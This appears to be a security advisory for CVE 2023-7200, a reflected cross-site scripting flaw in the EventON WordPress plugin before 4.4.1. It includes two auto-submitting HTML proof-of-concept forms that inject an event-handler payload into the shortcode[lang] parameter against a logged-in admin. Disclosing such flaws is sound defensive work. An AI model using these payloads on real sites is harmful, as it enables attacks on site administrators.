EventON < 4.4.1 – Reflected Cross-Site Scripting | CVE 2023-7200

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page containing one of the code below:

2.6.x (the cmonth and cyear need to match an opened event)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="the_ajax_hook" />
      <input type="hidden" name="evodata[cmonth]" value="1" />
      <input type="hidden" name="evodata[cyear]" value="2024" />
      <input type="hidden" name="shortcode[lang]" value="L1'onfocus=alert`XSS` autofocus " />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

3.x.y and 4.x.y
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="the_ajax_hook" />
      <input type="hidden" name="shortcode[number_of_months]" value="999" />
      <input type="hidden" name="shortcode[lang]" value="L1'autofocus=autofocus onfocus=alert`XSS` a=b" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>